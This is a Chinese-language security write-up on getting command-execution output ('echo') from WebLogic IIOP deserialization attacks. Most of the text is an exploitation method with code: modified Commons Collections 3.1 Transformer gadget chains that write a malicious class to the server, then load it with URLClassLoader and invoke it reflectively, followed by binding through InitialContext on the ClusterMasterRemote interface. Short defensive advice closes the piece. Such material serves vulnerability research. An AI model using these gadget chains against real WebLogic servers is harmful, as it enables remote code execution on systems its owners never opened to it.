weblogic IIOP漏洞的回显构造研究
字数 1156 2025-08-26 22:12:03
WebLogic IIOP漏洞回显构造研究
0x01 前言
要理解WebLogic IIOP漏洞的回显构造,需要掌握以下基础知识:
- IIOP协议:Internet Inter-ORB Protocol,是CORBA标准的一部分,用于分布式对象之间的通信
- RMI协议:Remote Method Invocation,Java的远程方法调用协议
- IIOP与RMI的区别:虽然都是远程调用协议,但IIOP是跨语言的CORBA标准,而RMI是Java特有的
0x02 回显分析
RMI回显实验
作者通过编写一个简单的RMI示例来验证回显可行性:
- 接口定义:创建一个继承
Remote接口的接口,并抛出RemoteException异常 - 接口实现:编写实现该接口的类
- 服务端绑定:开启远程调用并绑定接口
- 客户端调用:远程调用接口方法
- 执行效果:验证回显功能
IIOP回显可行性
由于WebLogic的7001端口支持多种协议包括IIOP,理论上可以通过类似RMI的方式实现回显:
- 需要符合IIOP要求的接口
- 需要实现该接口的恶意类
- 在WebLogic中绑定该接口
实现步骤
第一步:寻找合适的接口
在WebLogic中发现ClusterMasterRemote接口符合要求,可用于远程调用。
第二步:实现接口类
由于无法直接实现该类的方法,作者考虑利用Commons Collections 3.1的反序列化gadget:
-
文件写入:修改gadget链实现将恶意类写入服务器
Transformer[] transformers = { new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{path}}), // 绝对路径 new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{classBytes})}; // 写入class类的bytes -
类加载与绑定:通过修改的gadget执行恶意类中的绑定方法
Transformer[] transformers = { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{URL[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL(ClassPath)}}}), // 加载绝对路径的class new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{className}), // 加载该类的名称 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{method, new Class[]{String.class}}), // 反射执行该类的方法 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{""}})}; // 要执行的参数 -
绑定实现:在恶意类中使用
InitialContext进行绑定Context ctx = new InitialContext();
完整实现流程
- 编写实现
ClusterMasterRemote接口的类 - 在类中编写绑定方法和命令执行方法
- 通过修改的gadget利用链将类写入服务器
- 通过gadget执行写入类的绑定方法
- 执行回显
ClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)initialContext.lookup("tttt");
0x03 关键点总结
- 协议理解:必须清楚IIOP和RMI协议的基本原理和区别
- 接口选择:WebLogic中
ClusterMasterRemote接口适合用于回显构造 - gadget修改:需要修改Commons Collections的gadget链实现:
- 文件写入功能
- 类加载功能
- 方法反射调用功能
- 绑定技巧:使用
InitialContext而非传统的RMI绑定方式 - 执行流程:写入→绑定→调用三步走
0x04 防御建议
- 及时更新WebLogic补丁
- 限制IIOP协议的访问权限
- 监控异常的文件写入和类加载行为
- 使用安全防护设备检测和阻断反序列化攻击
通过这种方法,攻击者可以在WebLogic服务器上实现IIOP协议的命令执行回显,这对安全研究和防御都具有重要意义。